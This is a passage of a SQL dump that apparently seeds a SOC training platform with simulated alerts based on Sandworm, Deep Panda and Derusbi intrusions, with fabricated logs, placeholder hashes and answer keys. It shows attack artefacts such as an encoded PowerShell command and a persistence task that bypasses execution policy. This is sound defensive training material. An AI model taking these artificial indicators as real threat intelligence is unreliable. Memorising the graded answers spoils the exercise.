2016\\\"},\\\"user\\\":{\\\"username\\\":\\\"admin_user\\\",\\\"domain\\\":\\\"CORPDOMAIN\\\"},\\\"process\\\":{\\\"name\\\":\\\"lsass.exe\\\",\\\"pid\\\":1040,\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\lsass.exe\\\"},\\\"malware\\\":{\\\"name\\\":\\\"BlackEnergy\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"185.92.220.25\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":445},\\\"files\\\":[{\\\"filename\\\":\\\"dumped_creds.dmp\\\",\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\dumped_creds.dmp\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:30:22.429Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"hostname\\\":\\\"compromised-host\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"os\\\":\\\"Windows Server 2016\\\"},\\\"user\\\":{\\\"username\\\":\\\"admin_user\\\",\\\"domain\\\":\\\"CORPDOMAIN\\\"},\\\"process\\\":{\\\"name\\\":\\\"lsass.exe\\\",\\\"pid\\\":1040,\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\lsass.exe\\\"},\\\"malware\\\":{\\\"name\\\":\\\"BlackEnergy\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"185.92.220.25\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":445},\\\"files\\\":[{\\\"filename\\\":\\\"dumped_creds.dmp\\\",\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\dumped_creds.dmp\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:29:22.429Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"hostname\\\":\\\"compromised-host\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"os\\\":\\\"Windows Server 2016\\\"},\\\"user\\\":{\\\"username\\\":\\\"admin_user\\\",\\\"domain\\\":\\\"CORPDOMAIN\\\"},\\\"process\\\":{\\\"name\\\":\\\"lsass.exe\\\",\\\"pid\\\":1040,\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\lsass.exe\\\"},\\\"malware\\\":{\\\"name\\\":\\\"BlackEnergy\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"185.92.220.25\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":445},\\\"files\\\":[{\\\"filename\\\":\\\"dumped_creds.dmp\\\",\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\dumped_creds.dmp\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:28:22.429Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"hostname\\\":\\\"compromised-host\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"os\\\":\\\"Windows Server 2016\\\"},\\\"user\\\":{\\\"username\\\":\\\"admin_user\\\",\\\"domain\\\":\\\"CORPDOMAIN\\\"},\\\"process\\\":{\\\"name\\\":\\\"lsass.exe\\\",\\\"pid\\\":1040,\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\lsass.exe\\\"},\\\"malware\\\":{\\\"name\\\":\\\"BlackEnergy\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"185.92.220.25\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":445},\\\"files\\\":[{\\\"filename\\\":\\\"dumped_creds.dmp\\\",\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\dumped_creds.dmp\\\"}]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(782, 'Lateral Movement to SCADA Systems', 'critical', 'Network traffic analysis', 'With elevated privileges, Sandworm moved laterally across the network to access SCADA systems, setting the stage for the eventual power disruption.', 'Lateral Movement', 'T1570 - Lateral Tool Transfer', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:32:17Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"10.0.0.50\",\"external_ip\":\"203.0.113.45\",\"username\":\"j.doe\",\"accessed_system\":\"SCADA-Controller-01\",\"malware_filename\":\"olympic_destroyer.exe\",\"malware_hash\":\"3f5d1e7ccb4e7c8b8e77d8f7fbcf4f0d\",\"event\":\"Lateral movement detected\",\"protocol\":\"SMB\",\"action\":\"Access to SCADA systems\"}', '2026-01-11 23:37:37', '2026-02-16 18:01:08', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Critical SCADA system IP\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"public\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Sandworm activity\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"olympic_destroyer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Olympic Destroyer malware variant\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3f5d1e7ccb4e7c8b8e77d8f7fbcf4f0d\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Olympic Destroyer malware hash\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Legitimate user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(783, 'Deployment of KillDisk Wiper', 'critical', 'Disk forensics', 'In the final stage, Sandworm deployed KillDisk, a destructive wiper, on targeted systems. This attack erased crucial data, complicating recovery and prolonging the blackout.', 'Destructive Attack', 'T1485 - Data Destruction', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:23:32Z\",\"event_id\":\"wiper-attack-001\",\"source_ip\":\"185.92.220.45\",\"destination_ip\":\"192.168.1.45\",\"hash\":\"2b8c8f8fd1b3f1a9b58c8d8a1b2f3a9f\",\"file_name\":\"killdisk.exe\",\"user_account\":\"admin_sandworm\",\"action\":\"file_deletion\",\"status\":\"success\",\"description\":\"KillDisk wiper executed and erased data on the targeted system.\"}', '2026-01-11 23:37:37', '2026-02-16 18:01:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Sandworm operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"2b8c8f8fd1b3f1a9b58c8d8a1b2f3a9f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with KillDisk malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"killdisk.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable file used for data wiping.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_sandworm\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised by Sandworm.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.431Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:32Z\\\",\\\"event_id\\\":\\\"wiper-attack-001\\\",\\\"source_ip\\\":\\\"185.92.220.45\\\",\\\"destination_ip\\\":\\\"192.168.1.45\\\",\\\"hash\\\":\\\"2b8c8f8fd1b3f1a9b58c8d8a1b2f3a9f\\\",\\\"file_name\\\":\\\"killdisk.exe\\\",\\\"user_account\\\":\\\"admin_sandworm\\\",\\\"action\\\":\\\"file_deletion\\\",\\\"status\\\":\\\"success\\\",\\\"description\\\":\\\"KillDisk wiper executed and erased data on the targeted system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.431Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:32Z\\\",\\\"event_id\\\":\\\"wiper-attack-001\\\",\\\"source_ip\\\":\\\"185.92.220.45\\\",\\\"destination_ip\\\":\\\"192.168.1.45\\\",\\\"hash\\\":\\\"2b8c8f8fd1b3f1a9b58c8d8a1b2f3a9f\\\",\\\"file_name\\\":\\\"killdisk.exe\\\",\\\"user_account\\\":\\\"admin_sandworm\\\",\\\"action\\\":\\\"file_deletion\\\",\\\"status\\\":\\\"success\\\",\\\"description\\\":\\\"KillDisk wiper executed and erased data on the targeted system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.431Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:32Z\\\",\\\"event_id\\\":\\\"wiper-attack-001\\\",\\\"source_ip\\\":\\\"185.92.220.45\\\",\\\"destination_ip\\\":\\\"192.168.1.45\\\",\\\"hash\\\":\\\"2b8c8f8fd1b3f1a9b58c8d8a1b2f3a9f\\\",\\\"file_name\\\":\\\"killdisk.exe\\\",\\\"user_account\\\":\\\"admin_sandworm\\\",\\\"action\\\":\\\"file_deletion\\\",\\\"status\\\":\\\"success\\\",\\\"description\\\":\\\"KillDisk wiper executed and erased data on the targeted system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.431Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:32Z\\\",\\\"event_id\\\":\\\"wiper-attack-001\\\",\\\"source_ip\\\":\\\"185.92.220.45\\\",\\\"destination_ip\\\":\\\"192.168.1.45\\\",\\\"hash\\\":\\\"2b8c8f8fd1b3f1a9b58c8d8a1b2f3a9f\\\",\\\"file_name\\\":\\\"killdisk.exe\\\",\\\"user_account\\\":\\\"admin_sandworm\\\",\\\"action\\\":\\\"file_deletion\\\",\\\"status\\\":\\\"success\\\",\\\"description\\\":\\\"KillDisk wiper executed and erased data on the targeted system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.431Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:32Z\\\",\\\"event_id\\\":\\\"wiper-attack-001\\\",\\\"source_ip\\\":\\\"185.92.220.45\\\",\\\"destination_ip\\\":\\\"192.168.1.45\\\",\\\"hash\\\":\\\"2b8c8f8fd1b3f1a9b58c8d8a1b2f3a9f\\\",\\\"file_name\\\":\\\"killdisk.exe\\\",\\\"user_account\\\":\\\"admin_sandworm\\\",\\\"action\\\":\\\"file_deletion\\\",\\\"status\\\":\\\"success\\\",\\\"description\\\":\\\"KillDisk wiper executed and erased data on the targeted system.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(784, 'Phishing Campaign Detected', 'high', 'Email Gateway Logs', 'Deep Panda initiates the attack by sending spear-phishing emails to Anthem\'s IT administrators, aiming to harvest credentials and gain a foothold into the network.', 'Social Engineering', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"email_subject\":\"Urgent: Account Verification Required\",\"sender_email\":\"support@anthen-security.com\",\"recipient_email\":\"admin@anthem.com\",\"attachment_name\":\"Invoice_Details.doc\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"malicious_links\":[\"http://malicious-link.com/verify\"],\"attachment_action\":\"Downloaded\"}', '2026-01-11 23:42:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known phishing IP associated with APT campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network IP\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"support@anthen-security.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Spoofed email address used in phishing campaigns\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious document\"}},{\"id\":\"artifact_5\",\"type\":\"url\",\"value\":\"http://malicious-link.com/verify\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Phishing URL used to collect credentials\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Campaign Detected\",\"date\":\"2026-02-01T20:32:22.432Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(785, 'Suspicious Execution of Derusbi Malware', 'high', 'Endpoint Detection and Response (EDR) System', 'The EDR system detected the execution of the Derusbi malware on an internal endpoint. This activity follows a successful credential harvesting attempt. The malware is known for establishing persistence and conducting reconnaissance.', 'Malware Execution', 'T1059 - Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:12Z\",\"event_id\":\"12345\",\"hostname\":\"compromised-host.internal\",\"username\":\"jdoe\",\"src_ip\":\"192.168.1.15\",\"external_ip\":\"203.0.113.45\",\"malware_name\":\"Derusbi\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\derusbi.exe\",\"file_hash\":\"a7b9c3d4e5f67890123456789abcdef1234567890123456789abcdef12345678\",\"process_id\":5432,\"command_line\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\derusbi.exe\",\"behavior\":\"Persistence Mechanism\",\"network_activity\":{\"destination_ip\":\"203.0.113.45\",\"destination_port\":443}}', '2026-01-11 23:42:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a7b9c3d4e5f67890123456789abcdef1234567890123456789abcdef12345678\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File hash associated with Derusbi malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"derusbi.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Executable linked to Derusbi malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(786, 'Persistence Mechanism Identified', 'high', 'Registry and Scheduled Tasks Monitoring', 'The attackers embed themselves within the network, creating persistent backdoors that allow them to remain undetected while they continue their operations. A scheduled task was discovered on host 192.168.1.15 that executes a malicious script to maintain persistence. Additionally, a suspicious registry key modification was detected.', 'Persistence', 'T1053 - Scheduled Task/Job', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:00Z\",\"host\":\"192.168.1.15\",\"user\":\"compromised_user\",\"task_name\":\"UpdateChecker\",\"task_path\":\"C:\\\\Windows\\\\System32\\\\Tasks\\\\UpdateChecker\",\"task_command\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\scripts\\\\update.ps1\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousApp\",\"registry_value\":\"C:\\\\malware\\\\malicious.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"attacker_ip\":\"203.0.113.45\"}', '2026-01-11 23:42:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a known malware sample.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.434Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:00Z\\\",\\\"host\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"task_name\\\":\\\"UpdateChecker\\\",\\\"task_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateChecker\\\",\\\"task_command\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\\\\\scripts\\\\\\\\update.ps1\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\malware\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.434Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:00Z\\\",\\\"host\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"task_name\\\":\\\"UpdateChecker\\\",\\\"task_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateChecker\\\",\\\"task_command\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\\\\\scripts\\\\\\\\update.ps1\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\malware\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.434Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:00Z\\\",\\\"host\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"task_name\\\":\\\"UpdateChecker\\\",\\\"task_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateChecker\\\",\\\"task_command\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\\\\\scripts\\\\\\\\update.ps1\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\malware\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.434Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:00Z\\\",\\\"host\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"task_name\\\":\\\"UpdateChecker\\\",\\\"task_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateChecker\\\",\\\"task_command\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\\\\\scripts\\\\\\\\update.ps1\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\malware\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.434Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:00Z\\\",\\\"host\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"task_name\\\":\\\"UpdateChecker\\\",\\\"task_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateChecker\\\",\\\"task_command\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File 